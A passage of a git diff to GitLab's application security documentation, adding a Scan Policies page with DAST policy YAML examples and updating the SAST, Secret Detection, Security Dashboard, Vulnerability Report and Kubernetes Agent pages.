discussed. ### Error: job `is used for configuration only, and its script should not be executed` diff --git a/doc/user/application_security/policies/index.md b/doc/user/application_security/policies/index.md new file mode 100644 index 00000000000..208fbdfa5f3 --- /dev/null +++ b/doc/user/application_security/policies/index.md @@ -0,0 +1,183 @@ +--- +stage: Protect +group: Container Security +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Scan Policies **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5329) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10. +> - Deployed behind a feature flag, disabled by default. +> - Disabled on GitLab.com. + +Scan Policies in GitLab provide security teams a way to require scans of their choice to be run +whenever a project pipeline runs according to the configuration specified. Security teams can +therefore be confident that the scans they set up have not been changed, altered, or disabled. You +can access these by navigating to your project's **Security & Compliance > Scan Policies** page. + +GitLab supports the following security policies: + +- [Scan Execution Policy](#scan-execution-policy-schema) + +WARNING: +Scan Policies is under development and is not ready for production use. It's deployed behind a +feature flag that's disabled by default. + +NOTE: +We recommend using the [Security Policies project](#security-policies-project) +exclusively for managing policies for the project. Do not add your application's source code to such +projects. + +## Enable or disable scan policies + +Scan Policies is under development and is not ready for production use. It's deployed behind a +feature flag that's disabled by default. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it for your instance. Scan Policies can be enabled or disabled per-project. + +To enable it: + +```ruby +# Instance-wide +Feature.enable(:security_orchestration_policies_configuration) +# or by project +Feature.enable(:security_orchestration_policies_configuration, Project.find(<project ID>)) +``` + +To disable it: + +```ruby +# Instance-wide +Feature.disable(:security_orchestration_policies_configuration) +# or by project +Feature.disable(:security_orchestration_policies_configuration, Project.find(<project ID>)) +``` + +## Security Policies project + +The Security Policies feature is a repository to store policies. All security policies are stored as +the `.gitlab/security-policies/policy.yml` YAML file with this format: + +```yaml +--- +scan_execution_policy: +- name: Enforce DAST in every pipeline + description: This policy enforces pipeline configuration to have a job with DAST scan + enabled: true + rules: + - type: pipeline + branch: master + actions: + - scan: dast + scanner_profile: Scanner Profile A + site_profile: Site Profile B +- name: Enforce DAST in every pipeline in main branch + description: This policy enforces pipeline configuration to have a job with DAST scan for main branch + enabled: true + rules: + - type: pipeline + branch: main + actions: + - scan: dast + scanner_profile: Scanner Profile C + site_profile: Site Profile D +``` + +### Scan Execution Policies Schema + +The YAML file with Scan Execution Policies consists of an array of objects matching Scan Execution Policy Schema nested under the `scan_execution_policy` key. You can configure a maximum of 5 policies under the `scan_execution_policy` key. + +| Field | Type | Possible values | Description | +|-------|------|-----------------|-------------| +| `scan_execution_policy` | `array` of Scan Execution Policy | | List of scan execution policies (maximum 5) | + +### Scan Execution Policy Schema + +| Field | Type | Possible values | Description | +|-------|------|-----------------|-------------| +| `name` | `string` | | Name of the policy. | +| `description` (optional) | `string` | | Description of the policy. | +| `enabled` | `boolean` | `true`, `false` | Flag to enable (`true`) or disable (`false`) the policy. | +| `rules` | `array` of rules | | List of rules that the policy applies. | +| `actions` | `array` of actions | | List of actions that the policy enforces. | + +### `pipeline` rule type + +This rule enforces the defined actions whenever the pipeline runs for a selected branch. + +| Field | Type | Possible values | Description | +|-------|------|-----------------|-------------| +| `type` | `string` | `pipeline` | The rule's type. | +| `branch` | `string` | `*` or the branch's name | The branch the given policy applies to (supports wildcard). | + +### `scan` action type + +This action executes the selected `scan` with additional parameters when conditions for at least one +rule in the defined policy are met. + +| Field | Type | Possible values | Description | +|-------|------|-----------------|-------------| +| `scan` | `string` | `dast` | The action's type. | +| `site_profile` | `string` | Name of the selected [DAST site profile](../dast/index.md#site-profile). | The DAST site profile to execute the DAST scan. | +| `scanner_profile` | `string` or `null` | Name of the selected [DAST scanner profile](../dast/index.md#scanner-profile). | The DAST scanner profile to execute the DAST scan. | + +Note the following: + +- You must create the [site profile](../dast/index.md#site-profile) and [scanner profile](../dast/index.md#scanner-profile) + with selected names for each project that is assigned to the selected Security Policy Project. + Otherwise, the policy is not applied and a job with an error message is created instead. +- Once you associate the site profile and scanner profile by name in the policy, it is not possible + to modify or delete them. If you want to modify them, you must first disable the policy by setting + the `active` flag to `false`. + +Here's an example: + +```yaml +--- +scan_execution_policy: +- name: Enforce DAST in every release pipeline + description: This policy enforces pipeline configuration to have a job with DAST scan for release branches + enabled: true + rules: + - type: pipeline + branch: release/* + actions: + - scan: dast + scanner_profile: Scanner Profile A + site_profile: Site Profile B +- name: Enforce DAST in every pipeline in main branch + description: This policy enforces pipeline configuration to have a job with DAST scan for main branch + enabled: true + rules: + - type: pipeline + branch: main + actions: + - scan: dast + scanner_profile: Scanner Profile C + site_profile: Site Profile D +``` + +In this example, the DAST scan runs with the scanner profile `Scanner Profile A` and the site +profile `Site Profile B` for every pipeline executed on branches that match the +`release/*` wildcard (for example, branch name `release/v1.2.1`); and the DAST scan runs with +the scanner profile `Scanner Profile C` and the site profile `Site Profile D` for every pipeline executed on `main` branch. + +NOTE: +All scanner and site profiles must be configured and created for each project that is assigned to the selected Security Policy Project. +If they are not created, the job will fail with the error message. + +## Security Policy project selection + +When the Security Policy project is created and policies are created within that repository, you +must create an association between that project and the project you want to apply policies to. To do +this, navigate to your project's **Security & Compliance > Policies**, select +**Security policy project** from the dropdown menu, then select the **Create policy** button to save +changes. + +You can always change the **Security policy project** by navigating to your project's +**Security & Compliance > Policies** and modifying the selected project. + +## Roadmap + +See the [Category Direction page](https://about.gitlab.com/direction/protect/container_network_security/) +for more information on the product direction of Container Network Security. diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md index 83f85951388..c085dafac12 100644 --- a/doc/user/application_security/sast/analyzers.md +++ b/doc/user/application_security/sast/analyzers.md @@ -43,6 +43,19 @@ dedicated containers for each analysis. SAST is pre-configured with a set of **default images** that are maintained by GitLab, but users can also integrate their own **custom images**. +## SAST analyzer features + +For an analyzer to be considered Generally Available, it is expected to minimally +support the following features: + +- [Customizable configuration](index.md#available-variables) +- [Customizable rulesets](index.md#customize-rulesets) +- [Scan projects](index.md#supported-languages-and-frameworks) +- [Multi-project support](index.md#multi-project-support) +- [Offline support](index.md#running-sast-in-an-offline-environment) +- [Emits JSON report format](index.md#reports-json-format) +- [SELinux support](index.md#running-sast-in-selinux) + ## Official default analyzers Any custom change to the official analyzers can be achieved by using a diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md index fffff4efba6..cbd05f6267e 100644 --- a/doc/user/application_security/sast/index.md +++ b/doc/user/application_security/sast/index.md @@ -64,32 +64,36 @@ GitLab SAST supports a variety of languages, package managers, and frameworks. O You can also [view our language roadmap](https://about.gitlab.com/direction/secure/static-analysis/sast/#language-support) and [request other language support by opening an issue](https://gitlab.com/groups/gitlab-org/-/epics/297). -| Language (package managers) / framework | Scan tool | Introduced in GitLab Version | -|--------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| .NET Core | [Security Code Scan](https://security-code-scan.github.io) | 11.0 | -| .NET Framework | [Security Code Scan](https://security-code-scan.github.io) | 13.0 | -| Apex (Salesforce) | [PMD](https://pmd.github.io/pmd/index.html) | 12.1 | -| C/C++ | [Flawfinder](https://github.com/david-a-wheeler/flawfinder) | 10.7 | -| Elixir (Phoenix) | [Sobelow](https://github.com/nccgroup/sobelow) | 11.1 | -| Go | [Gosec](https://github.com/securego/gosec) | 10.7 | -| Groovy ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 11.3 (Gradle) & 11.9 (Ant, Maven, SBT) | -| Helm Charts | [Kubesec](https://github.com/controlplaneio/kubesec) | 13.1 | -| Java ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 10.6 (Maven), 10.8 (Gradle) & 11.9 (Ant, SBT) | -| Java (Android) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 | -| JavaScript | [ESLint security plugin](https://github.com/nodesecurity/eslint-plugin-security) | 11.8 | -| Kotlin (Android) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 | -| Kubernetes manifests | [Kubesec](https://github.com/controlplaneio/kubesec) | 12.6 | -| Node.js | [NodeJsScan](https://github.com/ajinabraham/NodeJsScan) | 11.1 | -| Objective-C (iOS) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 | -| PHP | [phpcs-security-audit](https://github.com/FloeDesignTechnologies/phpcs-security-audit) | 10.8 | -| Python ([pip](https://pip.pypa.io/en/stable/)) | [bandit](https://github.com/PyCQA/bandit) | 10.3 | -| Python | [Semgrep](https://semgrep.dev) | 13.9 | -| React | [ESLint react plugin](https://github.com/yannickcr/eslint-plugin-react) | 12.5 | -| Ruby | [brakeman](https://brakemanscanner.org) | 13.9 | -| Ruby on Rails | [brakeman](https://brakemanscanner.org) | 10.3 | -| Scala ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 11.0 (SBT) & 11.9 (Ant, Gradle, Maven) | -| Swift (iOS) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 | -| TypeScript | [ESLint security plugin](https://github.com/nodesecurity/eslint-plugin-security) | 11.9, [merged](https://gitlab.com/gitlab-org/gitlab/-/issues/36059) with ESLint in 13.2 | +| Language (package managers) / framework | Scan tool | Introduced in GitLab Version | +|---------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------| +| .NET Core | [Security Code Scan](https://security-code-scan.github.io) | 11.0 | +| .NET Framework | [Security Code Scan](https://security-code-scan.github.io) | 13.0 | +| Apex (Salesforce) | [PMD](https://pmd.github.io/pmd/index.html) | 12.1 | +| C/C++ | [Flawfinder](https://github.com/david-a-wheeler/flawfinder) | 10.7 | +| Elixir (Phoenix) | [Sobelow](https://github.com/nccgroup/sobelow) | 11.1 | +| Go | [Gosec](https://github.com/securego/gosec) | 10.7 | +| Groovy ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 11.3 (Gradle) & 11.9 (Ant, Maven, SBT) | +| Helm Charts | [Kubesec](https://github.com/controlplaneio/kubesec) | 13.1 | +| Java ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 10.6 (Maven), 10.8 (Gradle) & 11.9 (Ant, SBT) | +| Java (Android) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 | +| JavaScript | [ESLint security plugin](https://github.com/nodesecurity/eslint-plugin-security) | 11.8 | +| JavaScript | [Semgrep](https://semgrep.dev) | 13.10 | +| Kotlin (Android) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 | +| Kotlin (General) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 13.11 | +| Kubernetes manifests | [Kubesec](https://github.com/controlplaneio/kubesec) | 12.6 | +| Node.js | [NodeJsScan](https://github.com/ajinabraham/NodeJsScan) | 11.1 | +| Objective-C (iOS) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 | +| PHP | [phpcs-security-audit](https://github.com/FloeDesignTechnologies/phpcs-security-audit) | 10.8 | +| Python ([pip](https://pip.pypa.io/en/stable/)) | [bandit](https://github.com/PyCQA/bandit) | 10.3 | +| Python | [Semgrep](https://semgrep.dev) | 13.9 | +| React | [ESLint react plugin](https://github.com/yannickcr/eslint-plugin-react) | 12.5 | +| React | [Semgrep](https://semgrep.dev) | 13.10 | +| Ruby | [brakeman](https://brakemanscanner.org) | 13.9 | +| Ruby on Rails | [brakeman](https://brakemanscanner.org) | 10.3 | +| Scala ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 11.0 (SBT) & 11.9 (Ant, Gradle, Maven) | +| Swift (iOS) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 | +| TypeScript | [ESLint security plugin](https://github.com/nodesecurity/eslint-plugin-security) | 11.9, [merged](https://gitlab.com/gitlab-org/gitlab/-/issues/36059) with ESLint in 13.2 | +| TypeScript | [Semgrep](https://semgrep.dev) | 13.10 | Note that the Java analyzers can also be used for variants like the [Gradle wrapper](https://docs.gradle.org/current/userguide/gradle_wrapper.html), @@ -172,7 +176,7 @@ The included template creates SAST jobs in your CI/CD pipeline and scans your project's source code for possible vulnerabilities. The results are saved as a -[SAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssast) +[SAST report artifact](../../../ci/yaml/README.md#artifactsreportssast) that you can later download and analyze. Due to implementation limitations, we always take the latest SAST artifact available. @@ -441,7 +445,7 @@ variables: -----END CERTIFICATE----- ``` -The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. #### Docker images @@ -513,6 +517,7 @@ removed, or promoted to regular features at any time. Experimental features available are: - Enable scanning of iOS and Android apps using the [MobSF analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/). +- Enable the [semgrep analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep/). #### Enable experimental features @@ -532,7 +537,7 @@ The SAST tool emits a JSON report file. For more information, see the [schema for this report](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/sast-report-format.json). The JSON report file can be downloaded from the CI pipelines page, or the -pipelines tab on merge requests by [setting `artifacts: paths`](../../../ci/pipelines/job_artifacts.md#defining-artifacts-in-gitlab-ciyml) to `gl-sast-report.json`. For more information see [Downloading artifacts](../../../ci/pipelines/job_artifacts.md). +pipelines tab on merge requests by [setting `artifacts: paths`](../../../ci/yaml/README.md#artifactspaths) to `gl-sast-report.json`. For more information see [Downloading artifacts](../../../ci/pipelines/job_artifacts.md). Here's an example SAST report: @@ -703,8 +708,21 @@ offline environment, certificate verification with an external source is not pos self-signed certificate or disable certificate verification. Refer to the package manager's documentation for instructions. +## Running SAST in SELinux + +By default SAST analyzers are supported in GitLab instances hosted on SELinux. Adding a `before_script` in an [overriden SAST job](#overriding-sast-jobs) may not work as runners hosted on SELinux have restricted permissions. + ## Troubleshooting +### SAST debug logging + +Increase the [Secure scanner log verbosity](#logging-level) to `debug` in a global CI variable to help troubleshoot SAST jobs. + +```yaml +variables: + SECURE_LOG_LEVEL: "debug" +``` + ### `Error response from daemon: error processing tar file: docker-tar: relocation error` This error occurs when the Docker version that runs the SAST job is `19.03.0`. diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md index d2a576e9e03..f137ec26114 100644 --- a/doc/user/application_security/secret_detection/index.md +++ b/doc/user/application_security/secret_detection/index.md @@ -129,22 +129,10 @@ The included template creates Secret Detection jobs in your CI/CD pipeline and s your project's source code for secrets. The results are saved as a -[Secret Detection report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssecret_detection) +[Secret Detection report artifact](../../../ci/yaml/README.md#artifactsreportssecret_detection) that you can later download and analyze. Due to implementation limitations, we always take the latest Secret Detection artifact available. -### Post-processing - -> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4639) in GitLab 13.6. - -Upon detection of a secret, GitLab supports post processing hooks. These can be used to take actions like notifying the cloud service who issued the secret. The cloud provider can confirm the credentials and take remediation actions like revoking or reissuing a new secret and notifying the creator of the secret. Post-processing workflows vary by supported cloud providers. - -GitLab currently supports post-processing for following service providers: - -- Amazon Web Services (AWS) - -Third party cloud and SaaS providers can [express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). Learn more about the [technical details of post-processing secrets](https://gitlab.com/groups/gitlab-org/-/epics/4639). - ### Customizing settings The Secret Detection scan settings can be changed through [CI/CD variables](#available-variables) @@ -249,6 +237,34 @@ From highest to lowest severity, the logging levels are: - `info` (default) - `debug` +## Post-processing and revocation + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4639) in GitLab 13.6. + +Upon detection of a secret, GitLab supports post-processing hooks. These can be used to take actions like notifying the cloud service who issued the secret. The cloud provider can confirm the credentials and take remediation actions like revoking or reissuing a new secret and notifying the creator of the secret. Post-processing workflows vary by supported cloud providers. + +GitLab currently supports post-processing for following service providers: + +- Amazon Web Services (AWS) + +Third party cloud and SaaS providers can [express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). Learn more about the [technical details of post-processing secrets](https://gitlab.com/groups/gitlab-org/-/epics/4639). + +NOTE: +Post-processing is currently limited to a project's default branch, see the above epic for future efforts to support additional branches. + +```mermaid +sequenceDiagram + autonumber + Rails->>+Sidekiq: gl-secret-detection-report.json + Sidekiq-->+Sidekiq: BuildFinishedWorker + Sidekiq-->+RevocationAPI: GET revocable keys types + RevocationAPI-->>-Sidekiq: OK + Sidekiq->>+RevocationAPI: POST revoke revocable keys + RevocationAPI-->>-Sidekiq: ACCEPTED + RevocationAPI-->>+Cloud Vendor: revoke revocable keys + Cloud Vendor-->>+RevocationAPI: ACCEPTED +``` + ## Full History Secret Scan GitLab 12.11 introduced support for scanning the full history of a repository. This new functionality diff --git a/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_11.png b/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_11.png Binary files differnew file mode 100644 index 00000000000..cc9f0061a31 --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_11.png diff --git a/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_6.png b/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_6.png Binary files differdeleted file mode 100644 index 6ccae80e80e..00000000000 --- a/doc/user/application_security/security_dashboard/img/project_security_dashboard_chart_v13_6.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md index 8a2c40406e2..326c88f9eef 100644 --- a/doc/user/application_security/security_dashboard/index.md +++ b/doc/user/application_security/security_dashboard/index.md @@ -39,7 +39,7 @@ The security dashboard and vulnerability report displays information about vulne 1. At least one project inside a group must be configured with at least one of the [supported reports](#supported-reports). -1. The configured jobs must use the [new `reports` syntax](../../../ci/pipelines/job_artifacts.md#artifactsreports). +1. The configured jobs must use the [new `reports` syntax](../../../ci/yaml/README.md#artifactsreports). 1. [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or newer must be used. If you're using the shared runners on GitLab.com, this is already the case. @@ -71,17 +71,23 @@ CSV file containing details of the resources scanned. ## Project Security Dashboard -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235558) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235558) in GitLab 13.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285476) in GitLab 13.10, options to zoom in on a date range, and download the vulnerabilities chart. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285477) in GitLab 13.11, date range slider to visualise data between given dates. At the project level, the Security Dashboard displays a chart with the number of vulnerabilities over time. Access it by navigating to **Security & Compliance > Security Dashboard**. We display historical data up to 365 days. The chart's data is updated daily. - + Filter the historical data by clicking on the corresponding legend name. The image above, for example, shows only the graph for vulnerabilities with **high** severity. +To zoom in, select the left-most icon, then select the desired rangeby dragging across the chart. Select **Remove Selection** (**{redo}**) to reset to the original date range. + +To download an SVG image of the chart, select **Save chart to an image** (**{download}**). + ## Group Security Dashboard > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6709) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.5. @@ -152,7 +158,7 @@ found in those projects' default branches. ## Keeping the dashboards up to date The Security Dashboard displays information from the results of the most recent -security scan on the [default branch](../../project/repository/branches/index.md#default-branch), +security scan on the [default branch](../../project/repository/branches/default.md), which means that security scans are performed every time the branch is updated. If the default branch is updated infrequently, scans are run infrequently and the diff --git a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_11.png b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_11.png Binary files differnew file mode 100644 index 00000000000..05df41483c4 --- /dev/null +++ b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_11.png diff --git a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.png b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.png Binary files differdeleted file mode 100644 index a668ce1a3b8..00000000000 --- a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_9.png +++ /dev/null diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md index 747d31df356..ced4669e241 100644 --- a/doc/user/application_security/threat_monitoring/index.md +++ b/doc/user/application_security/threat_monitoring/index.md @@ -221,7 +221,7 @@ to set the status for each alert: By default, the list doesn't display resolved or dismissed alerts. To show these alerts, clear the checkbox **Hide dismissed alerts**. - + Clicking an alert's name takes the user to the [alert details page](../../../operations/incident_management/alerts.md#alert-details-page). diff --git a/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_v13_1.png b/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_v13_1.png Binary files differdeleted file mode 100644 index a3034a7db04..00000000000 --- a/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_v13_1.png +++ /dev/null diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md index 416db5b07fc..b98d28f8c9f 100644 --- a/doc/user/application_security/vulnerabilities/index.md +++ b/doc/user/application_security/vulnerabilities/index.md @@ -50,7 +50,7 @@ From a vulnerability you can create either: - [A Jira issue](#create-a-jira-issue-for-a-vulnerability). Creating a Jira issue requires that -[Jira integration](../../project/integrations/jira_integrations.md) is enabled on the project. Note +[Jira integration](../../../integration/jira/index.md) is enabled on the project. Note that when Jira integration is enabled, the GitLab issue feature is not available. ### Create a GitLab issue for a vulnerability diff --git a/doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_9.png b/doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_10.png Binary files differindex f9f60810f20..f9f60810f20 100644 --- a/doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_9.png +++ b/doc/user/application_security/vulnerability_report/img/project_security_dashboard_status_change_v13_10.png diff --git a/doc/user/application_security/vulnerability_report/index.md b/doc/user/application_security/vulnerability_report/index.md index 583859e2541..8f7740f9bfc 100644 --- a/doc/user/application_security/vulnerability_report/index.md +++ b/doc/user/application_security/vulnerability_report/index.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Vulnerability Report **(ULTIMATE)** The Vulnerability Report provides information about vulnerabilities from scans of the branch most -recently merged into the default branch. It is available at the instance, group, and project level. +recently merged into the default branch. It is available for groups, projects, and the Security Center. At all levels, the Vulnerability Report contains: @@ -36,6 +36,7 @@ From the Vulnerability Report you can: - [Filter the list of vulnerabilities](#filter-the-list-of-vulnerabilities). - [View more details about a vulnerability](#view-details-of-a-vulnerability). +- [View vulnerable source location](#view-vulnerable-source-location) (if available). - [View an issue raised for a vulnerability](#view-issues-raised-for-a-vulnerability). - [Change the status of vulnerabilities](#change-status-of-vulnerabilities). - [Export details of vulnerabilities](#export-vulnerability-details). @@ -72,7 +73,7 @@ The content of the Project filter depends on the current level: | Level | Content of the Project filter | |:---------------|:------------------------------| -| Instance level | Only projects you've [added to the instance-level Security Center](../security_dashboard/index.md#adding-projects-to-the-security-center). | +| Security Center | Only projects you've [added to your personal Security Center](../security_dashboard/index.md#adding-projects-to-the-security-center). | | Group level | All projects in the group. | | Project level | Not applicable. | @@ -99,6 +100,16 @@ Selection behavior when using the Activity filter: To view more details of a vulnerability, select the vulnerability's **Description**. The [vulnerability's details](../vulnerabilities) page is opened. +## View vulnerable source location + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267509) in GitLab 13.10. + +Some security scanners output the filename and line number of a potential vulnerability. When +that information is available, the vulnerability's details include a link to the relevant file, +in the default branch. + +To view the relevant file, select the filename in the vulnerability's details. + ## View issues raised for a vulnerability The **Activity** column indicates the number of issues that have been created for the vulnerability. @@ -108,12 +119,14 @@ Hover over an **Activity** entry and select a link go to that issue. ## Change status of vulnerabilities +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292636) in GitLab 13.10, all statuses became selectable. + To change the status of vulnerabilities in the table: 1. Select the checkbox for each vulnerability you want to update the status of. 1. In the dropdown that appears select the desired status, then select **Change status**. - + ## Export vulnerability details diff --git a/doc/user/asciidoc.md b/doc/user/asciidoc.md index 6d6460ca50f..8313b20e795 100644 --- a/doc/user/asciidoc.md +++ b/doc/user/asciidoc.md @@ -374,7 +374,7 @@ comment - content which is not included in the output document ### Colors -It’s possible to have color written in `HEX`, `RGB`, or `HSL` format rendered with a color indicator. +It's possible to have color written in `HEX`, `RGB`, or `HSL` format rendered with a color indicator. Supported formats (named colors are not supported): - HEX: `` `#RGB[A]` `` or `` `#RRGGBB[AA]` `` diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md index 77b9dbb1c7e..31accfdd9e4 100644 --- a/doc/user/clusters/agent/index.md +++ b/doc/user/clusters/agent/index.md @@ -4,13 +4,11 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Kubernetes Agent **(PREMIUM SELF)** +# GitLab Kubernetes Agent **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. > - [In GitLab 13.10](https://gitlab.com/gitlab-org/gitlab/-/issues/300960), KAS became available on GitLab.com under `wss://kas.gitlab.com` through an Early Adopter Program. - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - Introduced in GitLab 13.11, the GitLab Kubernetes Agent became available to every project on GitLab.com. The [GitLab Kubernetes Agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) is an active in-cluster component for solving GitLab and Kubernetes integration @@ -68,7 +66,7 @@ For more details, please refer to our [full architecture documentation](https:// The setup process involves a few steps to enable GitOps deployments: -1. [Install the Agent server](#install-the-kubernetes-agent-server) for your GitLab instance. +1. [Set up the Kubernetes Agent Server](#set-up-the-kubernetes-agent-server) for your GitLab instance. 1. [Define a configuration repository](#define-a-configuration-repository). 1. [Create an Agent record in GitLab](#create-an-agent-record-in-gitlab). 1. [Generate and copy a Secret token used to connect to the Agent](#create-the-kubernetes-secret). @@ -83,7 +81,7 @@ neither stable nor versioned yet. For this reason, GitLab only guarantees compat between corresponding major.minor (X.Y) versions of GitLab and its cluster side component, `agentk`. -Upgrade your agent installations together with GitLab upgrades. To decide which version of `agentk`to install follow: +Upgrade your agent installations together with GitLab upgrades. To decide which version of `agentk` to install follow: 1. Open the [`GITLAB_KAS_VERSION`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/GITLAB_KAS_VERSION) file from the GitLab Repository, which contains the latest `agentk` version associated with the `master` branch. 1. Change the `master` branch and select the Git tag associated with your version. For instance, you could change it to GitLab [v13.5.3-ee release](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.5.3-ee/GITLAB_KAS_VERSION) @@ -91,88 +89,14 @@ Upgrade your agent installations together with GitLab upgrades. To decide which The available `agentk` and `kas` versions can be found in [the container registry](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/container_registry/). -### Install the Kubernetes Agent Server **(FREE SELF)** - -[Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in GitLab 13.10, -the GitLab Kubernetes Agent Server (KAS) is available on GitLab.com under `wss://kas.gitlab.com`. -If you are a GitLab.com user, skip this step and directly -[set up the configuration repository](#define-a-configuration-repository) -for your agent. - -The GitLab Kubernetes Agent Server (KAS) can be installed through Omnibus GitLab or -through the GitLab Helm Chart. If you don't already have -GitLab installed, please refer to our [installation -documentation](https://docs.gitlab.com/ee/install/README.html). -You can install the KAS within GitLab as explained below according to your GitLab installation method. -You can also opt to use an [external KAS](#use-an-external-kas-installation). - -#### Install KAS with Omnibus - -For [Omnibus](https://docs.gitlab.com/omnibus/) package installations: - -1. Edit `/etc/gitlab/gitlab.rb` to enable the Kubernetes Agent Server: - - 